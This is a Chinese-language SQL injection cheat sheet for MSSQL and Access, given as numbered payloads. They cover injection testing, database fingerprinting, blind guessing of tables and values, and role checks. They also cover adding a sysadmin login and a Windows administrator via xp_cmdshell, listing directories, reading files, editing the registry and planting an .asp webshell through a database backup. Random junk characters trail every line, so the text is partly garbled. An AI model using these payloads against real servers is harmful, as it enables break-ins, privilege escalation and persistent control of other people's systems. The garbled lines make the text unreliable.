1.判断是否有注入;and 1=1 ;and 1=2 Iw[7;B5v
2.初步判断是否是mssql ;and user>0 ;6655C
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3.注入参数是字符'and [查询条件] and ''=' $'%.w|MJp
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' jnIf(a
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5.判断数据库系统 )WH;G:$&"
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;and (select count(*) from sysobjects)>0 mssql
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;and (select count(*) from msysobjects)>0 access ,)35Vi;.
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 rWULv
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 [I6&|Lz>
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 {?RVw`g&f
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9.(1)猜字段的ascii值(access) 6DT^:LHS
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 z)F<{]%
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(2)猜字段的ascii值(mssql) A+41JMH
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 uW0D m#
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10.测试权限结构(mssql) AMre(lgh
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- )%wNVW 0C
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $(fhO
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- wCgi@\
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- b Od<x
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- >K n7A
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- i_f\dkol
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;and 1=(select IS_MEMBER('db_owner'));-- *; :dJXR
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11.添加mssql和系统的帐户 N~|Z@pU"
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;exec master.dbo.sp_addlogin username;-- mlix^P
;exec master.dbo.sp_password null,username,password;-- iHKX#*
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- sc&u NfJ
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;exec master.dbo.xp_cmdshell 'net user username password Xv<K>i>k
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- -?p4"[
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- :Z&<5
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12.(1)遍历目录 P09f
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;create table dirs(paths varchar(100), id int) &4{!5r
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;insert dirs exec master.dbo.xp_dirtree 'c:\' Sjp ]TWj
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;and (select top 1 paths from dirs)>0 7yQw$zG,Iz
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) x|$|~6f=n
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(2)遍历目录 C7FxV2
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- apgR[=Oy
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 >%H(0G#X
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 /B<QYvv
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 SQDfDrYP
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 y96HTQ32
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13.mssql中的存储过程 H[RX~Xk2E
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xp_regenumvalues 注册表根键, 子键 Y @Ur}
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 _FxeZ4\
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xp_regread 根键,子键,键值名 :gn&wi
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;exec xp_regread jG{OLF6 !
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 '+\t,>nRkl
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xp_regwrite 根键,子键, 值名, 值类型, 值 r{KQ3j9O
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 l5#SOo\
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 p\R&vof*
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xp_regdeletevalue 根键,子键,值名 qKrxln/T
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Y/sZPG}4
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 O-huC:zZh
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14.mssql的backup创建webshell OA^6l#
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use model *M/:W =,t
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create table cmd(str image); )<lQJ#L86a
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insert into cmd(str) values (''); ~1{ppc+
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backup database model to disk='c:\l.asp'; /+1(,S
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15.mssql内置函数 d<6m_!L
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;and (select @@version)>0 获得Windows的版本号 bjo}95
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 7Ie=(x8):
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;and (select user_name())>0 爆当前系统的连接用户 5+Ao.3Xn
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;and (select db_name())>0 得到当前连接的数据库 O4Q"2
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16.简洁的webshell 3YJ"[$w='(
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use model SF`(`h0e
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create table cmd(str image); l))Q/8H
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insert into cmd(str) values (''); )*`h)`\y
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backup database model to disk='g:\wwwtest\l.asp';